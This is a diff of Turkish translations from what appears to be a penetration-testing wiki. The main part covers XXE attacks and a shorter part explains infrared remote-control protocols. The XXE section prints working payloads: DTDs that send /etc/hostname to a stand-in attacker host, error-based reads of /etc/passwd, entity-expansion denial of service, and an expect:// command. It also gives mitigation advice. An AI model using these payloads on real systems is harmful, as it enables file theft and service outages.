**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için bunu \_ftp://**\_ aracılığıyla sızdırmayı deneyebilirsiniz, örneğin bu temel sunucuyu kullanarak [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswiggers lab burada**](https://portswigger.net/web-security/xxe/blind)** temel alınarak yapılmıştır.**
|
||||
**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için, bunu dışarıya sızdırmayı deneyebilirsiniz \_ftp://**\_ bu temel sunucuyu kullanarak örneğin [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswigger laboratuvarı burada**](https://portswigger.net/web-security/xxe/blind)** temel alınarak yapılmıştır.**
|
||||
|
||||
Verilen kötü niyetli DTD'de, verileri sızdırmak için bir dizi adım gerçekleştirilir:
|
||||
Verilen kötü niyetli DTD'de, veriyi dışarıya sızdırmak için bir dizi adım gerçekleştirilir:
|
||||
|
||||
### Kötü Niyetli DTD Örneği:
|
||||
|
||||
@ -110,7 +110,7 @@ Bu DTD tarafından yürütülen adımlar şunlardır:
|
||||
- Bir XML parametre varlığı, `%file`, `/etc/hostname` dosyasının içeriğini okuyarak oluşturulur.
|
||||
- Başka bir XML parametre varlığı, `%eval`, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i bildirir. `%exfiltrate` varlığı, URL'nin sorgu dizesi içinde `%file` varlığının içeriğini geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır.
|
||||
2. **Varlıkların Yürütülmesi:**
|
||||
- `%eval` varlığı kullanılır, bu da `%exfiltrate` varlığının dinamik bildirimini yürütmeye yol açar.
|
||||
- `%eval` varlığı kullanılır, bu da `%exfiltrate` varlığının dinamik tanımının yürütülmesine yol açar.
|
||||
- Ardından `%exfiltrate` varlığı kullanılır ve dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği tetiklenir.
|
||||
|
||||
Saldırgan, bu kötü niyetli DTD'yi kontrolü altındaki bir sunucuda barındırır, genellikle `http://web-attacker.com/malicious.dtd` gibi bir URL'de.
|
||||
@ -121,7 +121,7 @@ Saldırgan, bu kötü niyetli DTD'yi kontrolü altındaki bir sunucuda barındı
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde entegre eder. Bir XML ayrıştırıcısı tarafından işlendiğinde, bu yük, saldırganın sunucusundan dış DTD'yi alır. Ardından ayrıştırıcı, DTD'yi satır içi olarak yorumlar, kötü niyetli DTD'de belirtilen adımları yürütür ve `/etc/hostname` dosyasının saldırganın sunucusuna sızdırılmasına yol açar.
|
||||
Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde entegre eder. Bir XML ayrıştırıcısı tarafından işlendiğinde, bu yük saldırganın sunucusundan dış DTD'yi alır. Ardından ayrıştırıcı, DTD'yi satır içi olarak yorumlar, kötü niyetli DTD'de belirtilen adımları yürütür ve `/etc/hostname` dosyasının saldırganın sunucusuna sızdırılmasına yol açar.
|
||||
|
||||
### Hata Tabanlı (Dış DTD)
|
||||
|
||||
@ -129,9 +129,9 @@ Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde enteg
|
||||
|
||||
Kötü niyetli bir dış Belge Türü Tanımı (DTD) kullanılarak, `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hata mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
|
||||
|
||||
1. `file` adında bir XML parametre varlığı tanımlanır; bu, `/etc/passwd` dosyasının içeriğini içerir.
|
||||
2. `eval` adında bir XML parametre varlığı tanımlanır ve bu, `error` adında başka bir XML parametre varlığı için dinamik bir beyan içerir. Bu `error` varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır ve `file` varlığının içeriğini adı olarak kullanır.
|
||||
3. `eval` varlığı çağrılır ve `error` varlığının dinamik beyanına yol açar.
|
||||
1. `file` adında bir XML parametre varlığı tanımlanır; bu varlık, `/etc/passwd` dosyasının içeriğini içerir.
|
||||
2. `eval` adında bir XML parametre varlığı tanımlanır ve bu varlık, `error` adında başka bir XML parametre varlığı için dinamik bir tanım içerir. Bu `error` varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır ve `file` varlığının içeriğini ad olarak kullanır.
|
||||
3. `eval` varlığı çağrılır, bu da `error` varlığının dinamik tanımını oluşturur.
|
||||
4. `error` varlığının çağrılması, var olmayan bir dosyayı yüklemeye çalışır ve dosya adı olarak `/etc/passwd` dosyasının içeriğini içeren bir hata mesajı üretir.
|
||||
|
||||
Kötü niyetli dış DTD, aşağıdaki XML ile çağrılabilir:
|
||||
@ -144,13 +144,13 @@ Web sunucusunun yanıtı, `/etc/passwd` dosyasının içeriğini gösteren bir h
|
||||
|
||||
.png>)
|
||||
|
||||
_**Lütfen harici DTD'nin, ikinci `eval` içinde bir varlık dahil etmemize izin verdiğini, ancak dahili DTD'de bunun yasak olduğunu unutmayın. Bu nedenle, harici bir DTD kullanmadan (genellikle) bir hatayı zorlayamazsınız.**_
|
||||
_**Lütfen harici DTD'nin, ikinci `eval` içinde bir varlığı dahil etmemize izin verdiğini, ancak bunun iç DTD'de yasaklandığını unutmayın. Bu nedenle, harici bir DTD kullanmadan (genellikle) bir hatayı zorlayamazsınız.**_
|
||||
|
||||
### **Hata Tabanlı (sistem DTD)**
|
||||
|
||||
Peki, **dışa dönük etkileşimlerin engellendiği** kör XXE zafiyetleri hakkında ne düşünüyorsunuz (harici bağlantılar mevcut değil)?
|
||||
|
||||
XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış bildirimleri karıştırdığında hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, harici olarak tanımlanan varlıkların dahili olarak yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, harici bir DTD'de orijinal olarak tanımlanan bir XML parametre varlığının, dahili bir DTD içinden yeniden tanımlanmasını istismar eder. Sunucu tarafından dışa dönük bağlantılar engellendiğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
|
||||
XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış bildirimleri karıştırdığında hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, harici olarak tanımlanan varlıkların içten yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, harici bir DTD'de orijinal olarak tanımlanan bir XML parametre varlığının iç DTD'den yeniden tanımlanmasını istismar eder. Sunucu tarafından dışa dönük bağlantılar engellendiğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
|
||||
|
||||
Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity` adında bir varlık tanımlayan bir DTD dosyası olduğunu düşünün. Bir saldırgan, aşağıdaki gibi bir hibrit DTD göndererek `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hatası indükleyebilir:
|
||||
```xml
|
||||
@ -165,10 +165,10 @@ Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity`
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Aşağıda belirtilen adımlar bu DTD tarafından yürütülmektedir:
|
||||
Açıklanan adımlar bu DTD tarafından yürütülmektedir:
|
||||
|
||||
- `local_dtd` adlı bir XML parametre varlığının tanımı, sunucunun dosya sisteminde bulunan dış DTD dosyasını içerir.
|
||||
- Dış DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanım yapılır; bu, bir [hata tabanlı XXE istismarı](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsamak üzere tasarlanmıştır. Bu yeniden tanım, bir ayrıştırma hatası oluşturmak için tasarlanmıştır ve `/etc/passwd` dosyasının içeriğini açığa çıkarır.
|
||||
- Dış DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanım yapılır; bu, bir [hata tabanlı XXE istismarı](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsamak üzere tasarlanmıştır. Bu yeniden tanım, `/etc/passwd` dosyasının içeriğini açığa çıkaran bir ayrıştırma hatası oluşturmak için tasarlanmıştır.
|
||||
- `local_dtd` varlığını kullanarak, dış DTD devreye alınır ve yeni tanımlanan `custom_entity`'yi kapsar. Bu eylemler dizisi, istismar için hedeflenen hata mesajının iletilmesine neden olur.
|
||||
|
||||
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adlı bir varlık içeren bir DTD'ye sahiptir.
|
||||
@ -188,7 +188,7 @@ Aşağıda belirtilen adımlar bu DTD tarafından yürütülmektedir:
|
||||
```
|
||||
.png>)
|
||||
|
||||
Bu teknik **içsel DTD kullanıyorsa, önce geçerli bir tane bulmanız gerekir**. Bunu, sunucunun kullandığı aynı **İşletim Sistemi / Yazılımı** **kurup** bazı varsayılan DTD'leri **arama** yaparak veya sistemler içindeki **varsayılan DTD'lerin** bir listesini **alıp** bunlardan herhangi birinin var olup olmadığını **kontrol ederek** yapabilirsiniz:
|
||||
Bu teknik **içsel DTD kullanıyorsa, önce geçerli bir tane bulmanız gerekir**. Bunu, sunucunun kullandığı aynı **İşletim Sistemi / Yazılımı** **yükleyerek** ve bazı varsayılan DTD'leri **arama yaparak** veya sistemler içindeki **varsayılan DTD'lerin bir listesini alarak** ve bunlardan herhangi birinin var olup olmadığını **kontrol ederek** yapabilirsiniz:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -221,9 +221,9 @@ Testing 0 entities : []
|
||||
|
||||
Bu saldırının daha derinlemesine bir açıklaması için, **Detectify'den** [**bu harika yazının**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **ikinci bölümüne göz atın**.
|
||||
|
||||
**Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Parçacının elektronik tablodan verileri çıkarması için, en az bir XML dosyasını ayrıştırması gerekecektir.
|
||||
**Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için, en az bir XML dosyasını ayrıştırması kaçınılmazdır.
|
||||
|
||||
Bu güvenlik açığını test etmek için, **bir XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır.
|
||||
Bu güvenlik açığını test etmek için, **XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır.
|
||||
|
||||
Belge çıkarıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyası tercih edilen bir metin düzenleyicisinde (örneğin vim) açılmalı ve düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir.
|
||||
|
||||
@ -235,18 +235,18 @@ Artık oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yükle
|
||||
|
||||
### Jar: protocol
|
||||
|
||||
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Hem yerel hem de uzaktan dosyalar için **PKZIP** arşivinde (örn. `.zip`, `.jar`, vb.) dosya erişimini sağlamak için tasarlanmıştır.
|
||||
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Bu, **PKZIP** arşivindeki (örneğin, `.zip`, `.jar`, vb.) dosya erişimini sağlamak için tasarlanmıştır ve hem yerel hem de uzak dosyaları hedef alır.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> PKZIP dosyaları içindeki dosyalara erişebilmek, **sistem DTD dosyaları aracılığıyla XXE'yi istismar etmek için süper kullanışlıdır.** [Sistem DTD dosyalarını nasıl istismar edeceğinizi öğrenmek için bu bölüme bakın](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> PKZIP dosyaları içindeki dosyalara erişebilmek, **sistem DTD dosyalarını kötüye kullanmak için süper kullanışlıdır.** [Sistem DTD dosyalarını nasıl kötüye kullanacağınızı öğrenmek için bu bölüme bakın](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adımdan oluşur:
|
||||
PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adım içerir:
|
||||
|
||||
1. Belirtilen bir konumdan, örneğin `https://download.website.com/archive.zip`, zip arşivini indirmek için bir HTTP isteği yapılır.
|
||||
2. Arşivi içeren HTTP yanıtı, genellikle `/tmp/...` gibi bir konumda sistemde geçici olarak saklanır.
|
||||
2. Arşivi içeren HTTP yanıtı, genellikle `/tmp/...` gibi bir konumda geçici olarak sistemde saklanır.
|
||||
3. Arşiv, içeriğine erişmek için çıkarılır.
|
||||
4. Arşiv içindeki belirli dosya, `file.zip`, okunur.
|
||||
5. İşlemden sonra, bu süreçte oluşturulan geçici dosyalar silinir.
|
||||
@ -257,7 +257,7 @@ Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını su
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Geçici bir dizine dosya yazmak, **bir yol geçişi ile ilgili başka bir zafiyeti artırmaya yardımcı olabilir** (yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme, vb. gibi).
|
||||
> Geçici bir dizine dosya yazmak, **yol geçişi ile ilgili başka bir zafiyeti artırmaya yardımcı olabilir** (örneğin, yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme, vb).
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -288,7 +288,7 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
||||
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
||||
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
```
|
||||
#### Kuadratik Patlama Saldırısı
|
||||
#### İkincil Patlama Saldırısı
|
||||
|
||||
.png>)
|
||||
|
||||
@ -310,7 +310,7 @@ Sonra hashcat kullanarak hash'i kırmayı deneyebilirsiniz.
|
||||
|
||||
### XInclude
|
||||
|
||||
Sunucu tarafı XML belgelerine, arka uç SOAP isteklerindeki gibi, istemci verilerini entegre ederken, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır; bu da `DOCTYPE` öğesini değiştirme kısıtlamaları nedeniyle geleneksel XXE saldırılarını engeller. Ancak, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesi içinde dış varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, sunucu tarafından üretilen bir XML belgesindeki verilerin yalnızca bir kısmı kontrol edilebildiğinde bile etkilidir.
|
||||
Sunucu tarafı XML belgelerine, arka uç SOAP isteklerindeki gibi, istemci verilerini entegre ederken, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır ve `DOCTYPE` öğesini değiştirme kısıtlamaları nedeniyle geleneksel XXE saldırılarını engeller. Ancak, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesi içinde dış varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, yalnızca sunucu tarafından üretilen bir XML belgesindeki verilerin bir kısmı kontrol edilebildiğinde bile etkilidir.
|
||||
|
||||
Bir `XInclude` saldırısını gerçekleştirmek için, `XInclude` ad alanı beyan edilmeli ve hedef dış varlık için dosya yolu belirtilmelidir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair kısa bir örnek bulunmaktadır:
|
||||
```xml
|
||||
@ -334,7 +334,7 @@ Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla **komutları
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
SVG format, sunucu yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır, bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular.
|
||||
SVG formatı, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır; bu da sağlam girdi doğrulaması ve güvenlik önlemlerine olan ihtiyacı vurgular.
|
||||
|
||||
Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin!
|
||||
|
||||
@ -476,7 +476,7 @@ DTD örneği:
|
||||
|
||||
Bu örnek, [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) adresinden esinlenmiştir.
|
||||
|
||||
XLIFF (XML Yerelleştirme Değişim Dosya Formatı), yerelleştirme süreçlerinde veri değişimini standart hale getirmek için kullanılır. Yerelleştirme sırasında araçlar arasında yerelleştirilebilir verilerin aktarımı için kullanılan, XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak işlev görür.
|
||||
XLIFF (XML Yerelleştirme Değişim Dosya Formatı), yerelleştirme süreçlerinde veri değişimini standart hale getirmek için kullanılır. Yerelleştirme sırasında araçlar arasında yerelleştirilebilir verilerin aktarımı için ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak kullanılan XML tabanlı bir formattır.
|
||||
|
||||
### Blind Request Analizi
|
||||
|
||||
@ -500,7 +500,7 @@ Ancak, bu istek bir iç sunucu hatasını tetikler ve özellikle işaretleme bil
|
||||
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
|
||||
}
|
||||
```
|
||||
Hata olmasına rağmen, Burp Collaborator'da bir etkileşim kaydedilir, bu da dış varlıkla bir etkileşim seviyesini gösterir.
|
||||
Hata olmasına rağmen, Burp Collaborator'da bir etkileşim kaydedilir, bu da dış varlıkla bir düzeyde etkileşim olduğunu gösterir.
|
||||
|
||||
Out of Band Data Exfiltration Verileri dışarı aktarmak için, değiştirilmiş bir istek gönderilir:
|
||||
```
|
||||
@ -534,7 +534,7 @@ Hata mesajında dosya içeriğini dahil etmek için, DTD dosyası ayarlanır:
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Bu değişiklik, HTTP üzerinden gönderilen hata çıktısında yansıtıldığı gibi, dosyanın içeriğinin başarılı bir şekilde dışa aktarılmasına yol açar. Bu, hassas bilgileri çıkarmak için hem Out of Band hem de Hata Tabanlı teknikleri kullanarak başarılı bir XXE (XML Dış Varlık) saldırısını gösterir.
|
||||
Bu değişiklik, HTTP üzerinden gönderilen hata çıktısında yansıtıldığı gibi, dosyanın içeriğinin başarılı bir şekilde dışa aktarılmasına yol açar. Bu, hassas bilgileri çıkarmak için hem Out of Band hem de Error-Based tekniklerini kullanan başarılı bir XXE (XML External Entity) saldırısını gösterir.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
@ -542,7 +542,7 @@ XXE zafiyetini istismar etmek için geçerli RSS formatında XML.
|
||||
|
||||
### Ping back
|
||||
|
||||
Saldırganın sunucusuna basit bir HTTP isteği
|
||||
Saldırganın sunucusuna basit HTTP isteği
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
@ -727,18 +727,18 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
<colors>&c;</colors>
|
||||
```
|
||||
#### Anahtar çıkarımlar
|
||||
* **Parametre varlıkları**, `resolve_entities` XXE'yi engellemesi gerektiğinde bile libxml2 tarafından genişletilmeye devam eder.
|
||||
* **Parametre varlıkları**, `resolve_entities` XXE'yi engellemesi gerektiğinde bile libxml2 tarafından hala genişletilmektedir.
|
||||
* **Geçersiz URI** veya **mevcut olmayan dosya**, kontrol edilen verilerin fırlatılan istisnaya eklenmesi için yeterlidir.
|
||||
* Bu teknik, **dışa bağlantı olmadan** çalışır, bu da onu katı çıkış filtreli ortamlar için ideal hale getirir.
|
||||
|
||||
#### Azaltma rehberi
|
||||
* **lxml ≥ 5.4.0** sürümüne yükseltin ve temel **libxml2** sürümünün **≥ 2.13.8** olduğundan emin olun.
|
||||
* **lxml ≥ 5.4.0** sürümüne yükseltin ve temel **libxml2**'nin **≥ 2.13.8** olduğundan emin olun.
|
||||
* Kesinlikle gerekli olmadıkça `load_dtd` ve/veya `resolve_entities`'i devre dışı bırakın.
|
||||
* Ham ayrıştırıcı hatalarını istemciye döndürmekten kaçının.
|
||||
|
||||
### Java DocumentBuilderFactory sertleştirme örneği
|
||||
### Java DocumentBuilderFactory güçlendirme örneği
|
||||
|
||||
Java uygulamaları genellikle XML'i `DocumentBuilderFactory` kullanarak ayrıştırır. Varsayılan olarak fabrika **harici varlık çözümlemesine** izin verir, bu da ek sertleştirme bayrakları ayarlanmadığında XXE ve SSRF'ye karşı savunmasız hale getirir:
|
||||
Java uygulamaları genellikle XML'i `DocumentBuilderFactory` kullanarak ayrıştırır. Varsayılan olarak fabrika **harici varlık çözümlemesine** izin verir, bu da ek güçlendirme bayrakları ayarlanmadan XXE ve SSRF'ye karşı savunmasız hale getirir:
|
||||
```java
|
||||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
|
||||
@ -773,7 +773,7 @@ Gerçek dünya vaka çalışması: **CVE-2025-27136** Java S3 emülatörü *Loca
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
- HTTP üzerinden kendi dış DTD'nizi kullanarak bilgi çıkarın: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
**Kızılötesi ışık insanlar için görünmezdir**. IR dalga boyu **0.7 ile 1000 mikron** arasındadır. Ev aletleri uzaktan kumandaları, veri iletimi için IR sinyali kullanır ve 0.75..1.4 mikron dalga boyu aralığında çalışır. Uzaktan kumandadaki bir mikrodenetleyici, dijital sinyali IR sinyaline dönüştürmek için belirli bir frekansta bir kızılötesi LED'in yanıp sönmesini sağlar.
|
||||
|
||||
IR sinyallerini almak için bir **fotoreceiver** kullanılır. Bu, **IR ışığını voltaj darbelerine** dönüştürür, bu da zaten **dijital sinyallerdir**. Genellikle, alıcının içinde **karanlık ışık filtresi** bulunur, bu da **yalnızca istenen dalga boyunun geçmesine izin verir** ve gürültüyü keser.
|
||||
IR sinyallerini almak için bir **fotoreceiver** kullanılır. Bu, **IR ışığını voltaj darbelerine** dönüştürür, bu da zaten **dijital sinyallerdir**. Genellikle, alıcının içinde **karanlık ışık filtresi** bulunur; bu, **yalnızca istenen dalga boyunun geçmesine** izin verir ve gürültüyü keser.
|
||||
|
||||
### IR Protokollerinin Çeşitliliği <a href="#variety-of-ir-protocols" id="variety-of-ir-protocols"></a>
|
||||
|
||||
@ -36,10 +36,10 @@ Aynı zamanda Manchester kodlaması olarak da bilinir. Mantıksal değer, darbe
|
||||
|
||||
<figure><img src="../../images/image (634).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**4. Öncekilerin kombinasyonu ve diğer egzotik yöntemler**
|
||||
**4. Öncekilerin ve diğer egzotiklerin kombinasyonu**
|
||||
|
||||
> [!TIP]
|
||||
> Birkaç tür cihaz için **evrensel olmaya çalışan** IR protokolleri vardır. En ünlüleri RC5 ve NEC'dir. Ne yazık ki, en ünlü **en yaygın anlamına gelmez**. Benim çevremde sadece iki NEC uzaktan kumandası ve hiç RC5 uzaktan kumandası ile karşılaştım.
|
||||
> Birkaç tür cihaz için **evrensel olmaya çalışan** IR protokolleri vardır. En ünlüleri RC5 ve NEC'dir. Ne yazık ki, en ünlü **en yaygın anlamına gelmez**. Benim ortamımda sadece iki NEC uzaktan kumandası ile karşılaştım ve hiç RC5 uzaktan kumandası görmedim.
|
||||
>
|
||||
> Üreticiler, aynı cihaz aralığında bile kendi benzersiz IR protokollerini kullanmayı severler (örneğin, TV kutuları). Bu nedenle, farklı şirketlerden ve bazen aynı şirketin farklı modellerinden gelen uzaktan kumandalar, aynı türdeki diğer cihazlarla çalışamaz.
|
||||
|
||||
@ -53,24 +53,24 @@ Genellikle, kodlanmış bir paketin başında bir önsöz bulunur. Bu, alıcın
|
||||
|
||||
Daha sonra veri iletilir. Yapı, önsöz ve bit kodlama yöntemi belirli protokol tarafından belirlenir.
|
||||
|
||||
**NEC IR protokolü**, bir adres baytı ve cihazın ne yapması gerektiğini anladığı bir komut numarası baytından oluşan kısa bir komut ve basılı tutulan buton sırasında gönderilen bir tekrar kodu içerir. Hem komut hem de tekrar kodu, başlangıçta aynı önsöze sahiptir.
|
||||
**NEC IR protokolü**, bir kısa komut ve buton basılıyken gönderilen bir tekrar kodu içerir. Hem komut hem de tekrar kodu, başlangıçta aynı önsöze sahiptir.
|
||||
|
||||
NEC **komutu**, önsözün yanı sıra, cihazın ne yapması gerektiğini anlaması için bir adres baytı ve bir komut numarası baytından oluşur. Adres ve komut numarası baytları, iletimin bütünlüğünü kontrol etmek için ters değerlerle çoğaltılır. Komutun sonunda ek bir durdurma biti vardır.
|
||||
NEC **komutu**, önsözün yanı sıra, cihazın ne yapılması gerektiğini anlaması için bir adres baytı ve bir komut numarası baytından oluşur. Adres ve komut numarası baytları, iletimin bütünlüğünü kontrol etmek için ters değerlerle çoğaltılır. Komutun sonunda ek bir durdurma biti vardır.
|
||||
|
||||
**Tekrar kodu**, önsözden sonra bir "1" içerir, bu bir durdurma bitidir.
|
||||
|
||||
**Mantık "0" ve "1"** için NEC, Darbe Mesafe Kodlaması kullanır: önce bir darbe patlaması iletilir, ardından bir duraklama gelir, duraklamanın uzunluğu bitin değerini belirler.
|
||||
**Mantık "0" ve "1"** için NEC, Darbe Mesafe Kodlaması kullanır: önce bir darbe patlaması iletilir, ardından bir duraklama gelir; duraklamanın uzunluğu bitin değerini belirler.
|
||||
|
||||
### Klima Cihazları
|
||||
|
||||
Diğer uzaktan kumandalardan farklı olarak, **klima cihazları yalnızca basılan butonun kodunu iletmez**. Ayrıca, **klima makinesi ve uzaktan kumandanın senkronize olduğunu sağlamak için** bir butona basıldığında tüm bilgileri **iletir**.\
|
||||
Bu, 20ºC olarak ayarlanmış bir makinenin bir uzaktan kumanda ile 21ºC'ye çıkarılmasını ve ardından hala 20ºC olarak ayarlanmış başka bir uzaktan kumanda ile sıcaklığın daha da artırılmaya çalışıldığında, "21ºC"ye (ve 21ºC'de olduğunu düşünerek 22ºC'ye değil) "artırılmasını" önleyecektir.
|
||||
Diğer uzaktan kumandalardan farklı olarak, **klima cihazları yalnızca basılan butonun kodunu iletmez**. Ayrıca, **butona basıldığında tüm bilgileri iletir**; bu, **klima makinesi ve uzaktan kumandanın senkronize olmasını sağlamak** içindir.\
|
||||
